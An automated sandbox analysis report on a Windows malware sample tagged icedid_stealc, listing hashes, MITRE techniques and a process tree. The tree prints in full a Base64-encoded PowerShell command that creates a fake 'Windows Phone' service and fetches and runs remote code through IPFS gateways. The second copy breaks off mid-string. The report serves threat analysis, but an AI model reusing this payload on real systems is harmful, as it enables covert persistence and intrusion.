634c64b52f7c6eff4ea21665667321a962a82df48283bcaf402cbca8c5fe2d6b

Analysis

max time kernel
149s
max time network
144s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
07/08/2026, 10:20

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-07_23cb940e4089ec2bc8a3f75b14d1181c_icedid_stealc.exe
Size 4.9MB
Sample260807-mdfyfsbr4x
SHA256 634c64b52f7c6eff4ea21665667321a962a82df48283bcaf402cbca8c5fe2d6b
MD5 23cb940e4089ec2bc8a3f75b14d1181c
SHA1 12cbc1da937814ec51096e0f67e1f7e4c0a78eea
SHA512 2f6087f3c93398016ca8bcd224ba30283f4566f333ca869f2d81cc572dbf24edb3d6dc2d28c219dc9bf4a26bbd196d65f8d1a60ee007a07968b73f44ba984c95
SSDEEP 3072:ID/gWo40HaRFc7LLAHfx7fI2W1ynB1eo1NSv65d1Kl5Uba:ID/dD7RFcAflw2V1K0e
TLSH
T197361A0E9B9B63E6DE2B4C3498450445A7F2B862F7E4679B631009710F327F58DBCE68
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1396	powershell.exe
1756	powershell.exe
1396	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2100	sc.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1756	powershell.exe
1396	powershell.exe
1756	powershell.exe
1396	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1756	powershell.exe
Token: SeDebugPrivilege	1396	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2812 wrote to memory of 1756	2812	2026-08-07_23cb940e4089ec2bc8a3f75b14d1181c_icedid_stealc.exe	89
PID 2812 wrote to memory of 1396	2812	2026-08-07_23cb940e4089ec2bc8a3f75b14d1181c_icedid_stealc.exe	90
PID 1756 wrote to memory of 2100	1756	powershell.exe	93

C:\Users\Admin\AppData\Local\Temp\2026-08-07_23cb940e4089ec2bc8a3f75b14d1181c_icedid_stealc.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-07_23cb940e4089ec2bc8a3f75b14d1181c_icedid_stealc.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2812
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoLogo -WindowStyle Hidden -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "sc.exe create 'Windows Phone' binPath= 'cmd /c start C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABiAGEAcwBlAD0AJwBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABrAHUAYgBvAC0AcwB5AHMAdABlAG0AJwA7ACQAcgBlAHAAbwA9AEoAbwBpAG4ALQBQAGEAdABoACAAJABiAGEAcwBlACAAJwByAGUAcABvACcAOwAkAHcAbwByAGsAPQBKAG8AaQBuAC0AUABhAHQAaAAgACQAYgBhAHMAZQAgACcAdwBvAHIAawAnADsATgBlAHcALQBJAHQAZQBtACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0AUABhAHQAaAAgACQAYgBhAHMAZQAsACQAcgBlAHAAbwAsACQAdwBvAHIAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsADsAJABlAG4AdgA6AEkAUABGAFMAXwBQAEEAVABIAD0AJAByAGUAcABvADsAJAB1AHIAbAAxAD0AJwBoAHQAdABwAHMAOgAvAC8AZwBpAHQAaAB1AGIALgBjAG8AbQAvAGkAcABmAHMALwBrAHUAYgBvAC8AcgBlAGwAZQBhAHMAZQBzAC8AZABvAHcAbgBsAG8AYQBkAC8AdgAwAC4ANAAxAC4AMAAvAGsAdQBiAG8AXwB2ADAALgA0ADEALgAwAF8AdwBpAG4AZABvAHcAcwAtAGEAbQBkADYANAAuAHoAaQBwACcAOwAkAHUAcgBsADIAPQAnAGgAdAB0AHAAcwA6AC8ALwBkAGkAcwB0AC4AaQBwAGYAcwAuAHQAZQBjAGgALwBrAHUAYgBvAC8AdgAwAC4ANAAxAC4AMAAvAGsAdQBiAG8AXwB2ADAALgA0ADEALgAwAF8AdwBpAG4AZABvAHcAcwAtAGEAbQBkADYANAAuAHoAaQBwACcAOwAkAHoAaQBwAD0ASgBvAGkAbgAtAFAAYQB0AGgAIAAkAHcAbwByAGsAIAAnAGsAdQBiAG8AXwB2ADAALgA0ADEALgAwAF8AdwBpAG4AZABvAHcAcwAtAGEAbQBkADYANAAuAHoAaQBwACcAOwAkAGQAaQByAD0ASgBvAGkAbgAtAFAAYQB0AGgAIAAkAHcAbwByAGsAIAAnAGsAdQBiAG8AXwBlAHgAdAByAGEAYwB0ACcAOwAkAGUAeABlAD0ASgBvAGkAbgAtAFAAYQB0AGgAIAAkAGIAYQBzAGUAIAAnAGkAcABmAHMALgBlAHgAZQAnADsAJABzAHQAYQB0AGkAYwA9ACcAawA1ADEAcQB6AGkANQB1AHEAdQA1AGQAZwB4AHQAOQBzAGQAdwBtAHcAZQBsAGEANABrAGkAdABmAGkAaQAyAGwAbQBuAGEAdQBsAG4AYwA3AGIAeABtAGQAMwB3AHoAZwBnAG4AYQByADMAZwAxAG4AegBzAGoAbQB3ACcAOwAkAHIAdQBuAG4AaQBuAGcAPQAkAGYAYQBsAHMAZQA7ACQAaQBkAEMAbQBkAD0AJwBzAGUAdAAgACIASQBQAEYAUwBfAFAAQQBUAEgAPQAnACsAJAByAGUAcABvACsAJwAiACAAJgAmACAAIgAnACsAJABlAHgAZQArACcAIgAgAC0ALQBhAHAAaQAgAC8AaQBwADQALwAxADIANwAuADAALgAwAC4AMQAvAHQAYwBwAC8ANQAwADAAMQAgAGkAZAAnADsAJABjAG0AZABtAGQAPQAnAC8AYwAgAHMAZQB0ACAAIgBJAFAARgBTAF8AUABBAFQASAA9AEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAGsAdQBiAG8ALQBzAHkAcwB0AGUAbQBcAHIAZQBwAG8AIgAgACYAJgAgAGMAZAAgAC8AZAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAawB1AGIAbwAtAHMAeQBzAHQAZQBtACIAIAAmACYAIAAiAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAGsAdQBiAG8ALQBzAHkAcwB0AGUAbQBcAGkAcABmAHMALgBlAHgAZQAiACAAZABhAGUAbQBvAG4AIAAtAC0AcgBvAHUAdABpAG4AZwA9AGEAdQB0AG8AJwA7AGkAZgAoAFQAZQBzAHQALQBQAGEAdABoACAAJABlAHgAZQApACAAewAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACcAYwBtAGQALgBlAHgAZQAnACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACQAYwBtAGQAbQBkACAALQBXAG8AcgBrAGkAbgBnAEQAaQByAGUAYwB0AG8AcgB5ACAAJABiAGEAcwBlACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADEANQA7AGMAbQBkAC4AZQB4AGUAIAAvAGMAIAAkAGkAZABDAG0AZAAgADEAPgAkAG4AdQBsAGwAIAAyAD4AJABuAHUAbABsADsAaQBmACgAJABMAEEAUwBUAEUAWABJAFQAQwBPAEQARQAgAC0AZQBxACAAMAApACAAewAgACQAcgB1AG4AbgBpAG4AZwA9ACQAdAByAHUAZQA7AH0AOwB9ADsAaQBmACgALQBuAG8AdAAgACQAcgB1AG4AbgBpAG4AZwApACAAewAgAHQAcgB5ACAAewAgAGkAdwByACAALQBVAHIAaQAgACQAdQByAGwAMQAgAC0ATwB1AHQARgBpAGwAZQAgACQAegBpAHAAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnACAALQBlAGEAIABTAHQAbwBwADsAfQAgAGMAYQB0AGMAaAAgAHsAIABpAHcAcgAgAC0AVQByAGkAIAAkAHUAcgBsADIAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAHoAaQBwACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgAC0AZQBhACAAUwB0AG8AcAA7AH0AOwBSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAkAGQAaQByACAALQBSAGUAYwB1AHIAcwBlACAALQBGAG8AcgBjAGUAIAAtAGUAYQAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwBFAHgAcABhAG4AZAAtAEEAcgBjAGgAaQB2AGUAIAAtAFAAYQB0AGgAIAAkAHoAaQBwACAALQBEAGUAcwB0AGkAbgBhAHQAaQBvAG4AUABhAHQAaAAgACQAZABpAHIAIAAtAEYAbwByAGMAZQA7AEMAbwBwAHkALQBJAHQAZQBtACAALQBQAGEAdABoACAAKABKAG8AaQBuAC0AUABhAHQAaAAgACQAZABpAHIAIAAnAGsAdQBiAG8AXABpAHAAZgBzAC4AZQB4AGUAJwApACAALQBEAGUAcwB0AGkAbgBhAHQAaQBvAG4AIAAkAGUAeABlACAALQBGAG8AcgBjAGUAOwBpAGYAKAAtAG4AbwB0ACgAVABlAHMAdAAtAFAAYQB0AGgAKABKAG8AaQBuAC0AUABhAHQAaAAgACQAcgBlAHAAbwAgACcAYwBvAG4AZgBpAGcAJwApACkAKQAgAHsAIAAmACAAJABlAHgAZQAgAGkAbgBpAHQAIAAyAD4AJABuAHUAbABsADsAfQA7AGMAbQBkAC4AZQB4AGUAIAAvAGMAIAAkAGkAZABDAG0AZAAgADEAPgAkAG4AdQBsAGwAIAAyAD4AJABuAHUAbABsADsAaQBmACgAJABMAEEAUwBUAEUAWABJAFQAQwBPAEQARQAgAC0AZQBxACAAMAApACAAewAgACQAcgB1AG4AbgBpAG4AZwA9ACQAdAByAHUAZQA7AH0AOwB9ADsAaQBmACgALQBuAG8AdAAgACQAcgB1AG4AbgBpAG4AZwApACAAewAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACcAYwBtAGQALgBlAHgAZQAnACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACQAYwBtAGQAbQBkACAALQBXAG8AcgBrAGkAbgBnAEQAaQByAGUAYwB0AG8AcgB5ACAAJABiAGEAcwBlACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgA7AGYAbwByACgAJABpAD0AMAA7ACQAaQAgAC0AbAB0ACAAMgA1ADsAJABpACsAKwApACAAewAgAGMAbQBkAC4AZQB4AGUAIAAvAGMAIAAkAGkAZABDAG0AZAAgADEAPgAkAG4AdQBsAGwAIAAyAD4AJABuAHUAbABsADsAaQBmACgAJABMAEEAUwBUAEUAWABJAFQAQwBPAEQARQAgAC0AZQBxACAAMAApACAAewAgACQAcgB1AG4AbgBpAG4AZwA9ACQAdAByAHUAZQA7AGIAcgBlAGEAawA7AH0AOwBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAxADsAfQA7AH0AOwAkAHIAZQBzAG8AbAB2AGUAZAA9ACQAbgB1AGwAbAA7AGYAbwByACgAJABpAD0AMAA7ACQAaQAgAC0AbAB0ACAANQA7ACQAaQArACsAKQAgAHsAIAAkAHIAZQBzAG8AbAB2AGUAQwBtAGQAPQAnAHMAZQB0ACAAIgBJAFAARgBTAF8AUABBAFQASAA9ACcAKwAkAHIAZQBwAG8AKwAnACIAIAAmACYAIAAiACcAKwAkAGUAeABlACsAJwAiACAALQAtAGEAcABpACAALwBpAHAANAAvADEAMgA3AC4AMAAuADAALgAxAC8AdABjAHAALwA1ADAAMAAxACAAbgBhAG0AZQAgAHIAZQBzAG8AbAB2AGUAIAAtAC0AbgBvAGMAYQBjAGgAZQAgACIALwBpAHAAbgBzAC8AJwArACQAcwB0AGEAdABpAGMAKwAnACIAJwA7ACQAcgA9AGMAbQBkAC4AZQB4AGUAIAAvAGMAIAAkAHIAZQBzAG8AbAB2AGUAQwBtAGQAIAAyAD4AJABuAHUAbABsADsAaQBmACgAJAByACkAIAB7ACAAJAByAGUAcwBvAGwAdgBlAGQAPQAoACQAcgAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxACkALgBUAHIAaQBtACgAKQA7AGIAcgBlAGEAawA7AH0AOwBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAyADsAfQA7ACQAYwBhAHQAQwBtAGQAPQAnAHMAZQB0ACAAIgBJAFAARgBTAF8AUABBAFQASAA9ACcAKwAkAHIAZQBwAG8AKwAnACIAIAAmACYAIAAiACcAKwAkAGUAeABlACsAJwAiACAALQAtAGEAcABpACAALwBpAHAANAAvADEAMgA3AC4AMAAuADAALgAxAC8AdABjAHAALwA1ADAAMAAxACAAYwBhAHQAIAAiACcAKwAkAHIAZQBzAG8AbAB2AGUAZAArACcAIgAnADsAJAByAGUAcwB1AGwAdAA9AGMAbQBkAC4AZQB4AGUAIAAvAGMAIAAkAGMAYQB0AEMAbQBkACAAMgA+ACQAbgB1AGwAbAA7AGkAZgAgACgAWwBzAHQAcgBpAG4AZwBdACQAcgBlAHMAdQBsAHQAIAAtAG4AbwB0AG0AYQB0AGMAaAAgACcAdQBzAF8AYwBvAG4AZgBpAGcAJwApACAAewAgACQAZwBhAHQAZQB3AGEAeQBzAD0AQAAoACAAJwBoAHQAdABwAHMAOgAvAC8AaQBwAGYAcwAuAGkAbwAnADsAJwBoAHQAdABwAHMAOgAvAC8AZAB3AGUAYgAuAGwAaQBuAGsAJwAgACkAOwB3AGgAaQBsAGUAIAAoAFsAcwB0AHIAaQBuAGcAXQAkAHIAZQBzAHUAbAB0ACAALQBuAG8AdABtAGEAdABjAGgAIAAnAHUAcwBfAGMAbwBuAGYAaQBnACcAKQAgAHsAIABmAG8AcgBlAGEAYwBoACAAKAAkAGcAYQB0AGUAdwBhAHkAIABpAG4AIAAkAGcAYQB0AGUAdwBhAHkAcwApACAAewAgAHQAcgB5ACAAewAgACQAdABlAHgAdAA9AFsAcwB0AHIAaQBuAGcAXQAoACAAaQB3AHIAIAAtAFUAcgBpACAAIgAkAGcAYQB0AGUAdwBhAHkALwBpAHAAbgBzAC8AJAB7AHMAdABhAHQAaQBjAH0APwBfAF8AdABzAD0AJAAoAFsARABhAHQAZQBUAGkAbQBlAE8AZgBmAHMAZQB0AF0AOgA6AFUAdABjAE4AbwB3AC4AVABvAFUAbgBpAHgAVABpAG0AZQBNAGkAbABsAGkAcwBlAGMAbwBuAGQAcwAoACkAKQAiACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwAgADIAMAAgAC0ASABlAGEAZABlAHIAcwAgAEAAewAgACcAQwBhAGMAaABlAC0AQwBvAG4AdAByAG8AbAAnAD0AIAAnAG4AbwAtAGMAYQBjAGgAZQAnADsAJwBQAHIAYQBnAG0AYQAnAD0AIAAnAG4AbwAtAGMAYQBjAGgAZQAnADsAfQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwB0AG8AcAAgACkALgBDAG8AbgB0AGUAbgB0ADsAaQBmACAAKAAkAHQAZQB4AHQAIAAtAG0AYQB0AGMAaAAgACcAdQBzAF8AYwBvAG4AZgBpAGcAJwApACAAewAgACQAcgBlAHMAdQBsAHQAPQAkAHQAZQB4AHQAOwBiAHIAZQBhAGsAOwB9ADsAfQAgAGMAYQB0AGMAaAAgAHsAIAB9ADsAfQA7AGkAZgAgACgAWwBzAHQAcgBpAG4AZwBdACQAcgBlAHMAdQBsAHQAIAAtAG4AbwB0AG0AYQB0AGMAaAAgACcAdQBzAF8AYwBvAG4AZgBpAGcAJwApACAAewAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADUAOwB9ADsAfQA7AH0AOwBpAGUAeAAgACgAJwAkAHUAcwBfAGMAbwBuAGYAaQBnAD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAWwBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAVABlAHgAdAAoACIAJABlAG4AdgA6AFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAGMAbwBuAGYAaQBnACIALABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQApAC4AVAByAGkAbQAoACkAKQApADsAJwAgACsAIAAkAHIAZQBzAHUAbAB0ACkA' start= auto DisplayName= 'Windows Phone'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1756
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" create "Windows Phone" binPath= "cmd /c start C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABiAGEAcwBlAD0AJwBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABrAHUAYgBvAC0AcwB5AHMAdABlAG0AJwA7ACQAcgBlAHAAbwA9AEoAbwBpAG4ALQBQAGEAdABoACAAJABiAGEAcwBlACAAJwByAGUAcABvACcAOwAkAHcAbwByAGsAPQBKAG8AaQBuAC0AUABhAHQAaAAgACQAYgBhAHMAZQAgACcAdwBvAHIAawAnADsATgBlAHcALQBJAHQAZQBtACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0AUABhAHQAaAAgACQAYgBhAHMAZQAsACQAcgBlAHAAbwAsACQAdwBvAHIAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsADsAJABlAG4AdgA6AEkAUABGAFMAXwBQAEEAVABIAD0AJAByAGUAcABvADsAJAB1AHIAbAAxAD0AJwBoAHQAdABwAHMAOgAvAC8AZwBpAHQAaAB1AGIALgBjAG8AbQAvAGkAcABmAHMALwBrAHUAYgBvAC8AcgBlAGwAZQBhAHMAZQBzAC8AZABvAHcAbgBsAG8AYQBkAC8AdgAwAC4ANAAxAC4AMAAvAGsAdQBiAG8AXwB2ADAALgA0ADEALgAwAF8AdwBpAG4AZABvAHcAcwAtAGEAbQBkADYANAAuAHoAaQBwACcAOwAkAHUAcgBsADIAPQAnAGgAdAB0AHAAcwA6AC8ALwBkAGkAcwB0AC4AaQBwAGYAcwAuAHQAZQBjAGgALwBrAHUAYgBvAC8AdgAwAC4ANAAxAC4AMAAvAGsAdQBiAG8AXwB2ADAALgA0ADEALgAwAF8AdwBpAG4AZABvAHcAcwAtAGEAbQBkADYANAAuAHoAaQBwACcAOwAkAHoAaQBwAD0ASgBvAGkAbgAtAFAAYQB0AGgAIAAkAHcAbwByAGsAIAAnAGsAdQBiAG8AXwB2ADAALgA0ADEALgAwAF8AdwBpAG4AZABvAHcAcwAtAGEAbQBkADYANAAuAHoAaQBwACcAOwAkAGQAaQByAD0ASgBvAGkAbgAtAFAAYQB0AGgAIAAkAHcAbwByAGsAIAAnAGsAdQBiAG8AXwBlAHgAdAByAGEAYwB0ACcAOwAkAGUAeABlAD0ASgBvAGkAbgAtAFAAYQB0AGgAIAAkAGIAYQBzAGUAIAAnAGkAcABmAHMALgBlAHgAZQAnADsAJABzAHQAYQB0AGkAYwA9ACcAawA1ADEAcQB6AGkANQB1AHEAdQA1AGQAZwB4AHQAOQBzAGQAdwBtAHcAZQBsAGEANABrAGkAdABmAGkAaQAyAGwAbQBuAGEAdQBsAG4AYwA3AGIAeABtAGQAMwB3AHoAZwBnAG4AYQByADMAZwAxAG4AegBzAGoAbQB3ACcAOwAkAHIAdQBuAG4AaQBuAGcAPQAkAGYAYQBsAHMAZQA7ACQAaQBkAEMAbQBkAD0AJwBzAGUAdAAgACIASQBQAEYAUwBfAFAAQQBUAEgAPQAnACsAJAByAGUAcABvACsAJwAiACAAJgAmACAAIgAnACsAJABlAHgAZQArACcAIgAgAC0ALQBhAHAAaQAgAC8AaQBwADQALwAxADIANwAuADAALgAwAC4AMQAvAHQAYwBwAC8ANQAwADAAMQAgAGkAZAAnADsAJABjAG0AZABtAGQAPQAnAC8AYwAgAHMAZQB0ACAAIgBJAFAARgBTAF8AUABBAFQASAA9AEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAGsAdQBiAG8ALQBzAHkAcwB0AGUAbQBcAHIAZQBwAG8AIgAgACYAJgAgAGMAZAAgAC8AZAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAawB1AGIAbwAtAHMAeQBzAHQAZQBtACIAIAAmACYAIAAiAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAGsAdQBiAG8ALQBzAHkAcwB0AGUAbQBcAGkAcABmAHMALgBlAHgAZQAiACAAZABhAGUAbQBvAG4AIAAtAC0AcgBvAHUAdABpAG4AZwA9AGEAdQB0AG8AJwA7AGkAZgAoAFQAZQBzAHQALQBQAGEAdABoACAAJABlAHgAZQApACAAewAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACcAYwBtAGQALgBlAHgAZQAnACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACQAYwBtAGQAbQBkACAALQBXAG8AcgBrAGkAbgBnAEQAaQByAGUAYwB0AG8AcgB5ACAAJABiAGEAcwBlACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADEANQA7AGMAbQBkAC4AZQB4AGUAIAAvAGMAIAAkAGkAZABDAG0AZAAgADEAPgAkAG4AdQBsAGwAIAAyAD4AJABuAHUAbABsADsAaQBmACgAJABMAEEAUwBUAEUAWABJAFQAQwBPAEQARQAgAC0AZQBxACAAMAApACAAewAgACQAcgB1AG4AbgBpAG4AZwA9ACQAdAByAHUAZQA7AH0AOwB9ADsAaQBmACgALQBuAG8AdAAgACQAcgB1AG4AbgBpAG4AZwApACAAewAgAHQAcgB5ACAAewAgAGkAdwByACAALQBVAHIAaQAgACQAdQByAGwAMQAgAC0ATwB1AHQARgBpAGwAZQAgACQAegBpAHAAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnACAALQBlAGEAIABTAHQAbwBwADsAfQAgAGMAYQB0AGMAaAAgAHsAIABpAHcAcgAgAC0AVQByAGkAIAAkAHUAcgBsADIAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAHoAaQBwACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgAC0AZQBhACAAUwB0AG8AcAA7AH0AOwBSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAkAGQAaQByACAALQBSAGUAYwB1AHIAcwBlACAALQBGAG8AcgBjAGUAIAAtAGUAYQAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwBFAHgAcABhAG4AZAAtAEEAcgBjAGgAaQB2AGUAIAAtAFAAYQB0AGgAIAAkAHoAaQBwACAALQBEAGUAcwB0AGkAbgBhAHQAaQBvAG4AUABhAHQAaAAgACQAZABpAHIAIAAtAEYAbwByAGMAZQA7AEMAbwBwAHkALQBJAHQAZQBtACAALQBQAGEAdABoACAAKABKAG8AaQBuAC0AUABhAHQAaAAgACQAZABpAHIAIAAnAGsAdQBiAG8AXABpAHAAZgBzAC4AZQB4AGUAJwApACAALQBEAGUAcwB0AGkAbgBhAHQAaQBvAG4AIAAkAGUAeABlACAALQBGAG8AcgBjAGUAOwBpAGYAKAAtAG4AbwB0ACgAVABlAHMAdAAtAFAAYQB0AGgAKABKAG8AaQBuAC0AUABhAHQAaAAgACQAcgBlAHAAbwAgACcAYwBvAG4AZgBpAGcAJwApACkAKQAgAHsAIAAmACAAJABlAHgAZQAgAGkAbgBpAHQAIAAyAD4AJABuAHUAbABsADsAfQA7AGMAbQBkAC4AZQB4AGUAIAAvAGMAIAAkAGkAZABDAG0AZAAgADEAPgAkAG4AdQBsAGwAIAAyAD4AJABuAHUAbABsADsAaQBmACgAJABMAEEAUwBUAEUAWABJAFQAQwBPAEQARQAgAC0AZQBxACAAMAApACAAewAgACQAcgB1AG4AbgBpAG4AZwA9ACQAdAByAHUAZQA7AH0AOwB9ADsAaQBmACgALQBuAG8AdAAgACQAcgB1AG4AbgBpAG4AZwApACAAewAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACcAYwBtAGQALgBlAHgAZQAnACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACQAYwBtAGQAbQBkACAALQBXAG8AcgBrAGkAbgBnAEQAaQByAGUAYwB0AG8AcgB5ACAAJABiAGEAcwBlACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgA7AGYAbwByACgAJABpAD0AMAA7ACQAaQAgAC0AbAB0ACAAMgA1ADsAJABpACsAKwApACAAewAgAGMAbQBkAC4AZQB4AGUAIAAvAGMAIAAkAGkAZABDAG0AZAAgADEAPgAkAG4AdQBsAGwAIAAyAD4AJABuAHUAbABsADsAaQBmACgAJABMAEEAUwBUAEUAWABJAFQAQwBPAEQARQAgAC0AZQBxACAAMAApACAAewAgACQAcgB1AG4AbgBpAG4AZwA9ACQAdAByAHUAZQA7AGIAcgBlAGEAawA7AH0AOwBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAxADsAfQA7AH0AOwAkAHIAZQBzAG8AbAB2AGUAZAA9ACQAbgB1AGwAbAA7AGYAbwByACgAJABpAD0AMAA7ACQAaQAgAC0AbAB0ACAANQA7ACQAaQArACsAKQAgAHsAIAAkAHIAZQBzAG8AbAB2AGUAQwBtAGQAPQAnAHMAZQB0ACAAIgBJAFAARgBTAF8AUABBAFQASAA9ACcAKwAkAHIAZQBwAG8AKwAnACIAIAAmACYAIAAiACcAKwAkAGUAeABlACsAJwAiACAALQAtAGEAcABpACAALwBpAHAANAAvADEAMgA3AC4AMAAuADAALgAxAC8AdABjAHAALwA1ADAAMAAxACAAbgBhAG0AZQAgAHIAZQBzAG8AbAB2AGUAIAAtAC0AbgBvAGMAYQBjAGgAZQAgACIALwBpAHAAbgBzAC8AJwArACQAcwB0AGEAdABpAGMAKwAnACIAJwA7ACQAcgA9AGMAbQBkAC4AZQB4AGUAIAAvAGMAIAAkAHIAZQBzAG8AbAB2AGUAQwBtAGQAIAAyAD4AJABuAHUAbABsADsAaQBmACgAJAByACkAIAB7ACAAJAByAGUAcwBvAGwAdgBlAGQAPQAoACQAcgAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxACkALgBUAHIAaQBtACgAKQA7AGIAcgBlAGEAawA7AH0AOwBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAyADsAfQA7ACQAYwBhAHQAQwBtAGQAPQAnAHMAZQB0ACAAIgBJAFAARgBTAF8AUABBAFQASAA9ACcAKwAkAHIAZQBwAG8AKwAnACIAIAAmACYAIAAiACcAKwAkAGUAeABlACsAJwAiACAALQAtAGEAcABpACAALwBpAHAANAAvADEAMgA3AC4AMAAuADAALgAxAC8AdABjAHAALwA1ADAAMAAxACAAYwBhAHQAIAAiACcAKwAkAHIAZQBzAG8AbAB2AGUAZAArACcAIgAnADsAJAByAGUAcwB1AGwAdAA9AGMAbQBkAC4AZQB4AGUAIAAvAGMAIAAkAGMAYQB0AEMAbQBkACAAMgA+ACQAbgB1AGwAbAA7AGkAZgAgACgAWwBzAHQAcgBpAG4AZwBdACQAcgBlAHMAdQBsAHQAIAAtAG4AbwB0AG0AYQB0AGMAaAAgACcAdQBzAF8AYwBvAG4AZgBpAGcAJwApACAAewAgACQAZwBhAHQAZQB3AGEAeQBzAD0AQAAoACAAJwBoAHQAdABwAHMAOgAvAC8AaQBwAGYAcwAuAGkAbwAnADsAJwBoAHQAdABwAHMAOgAvAC8AZAB3AGUAYgAuAGwAaQBuAGsAJwAgACkAOwB3AGgAaQBsAGUAIAAoAFsAcwB0AHIAaQBuAGcAXQAkAHIAZ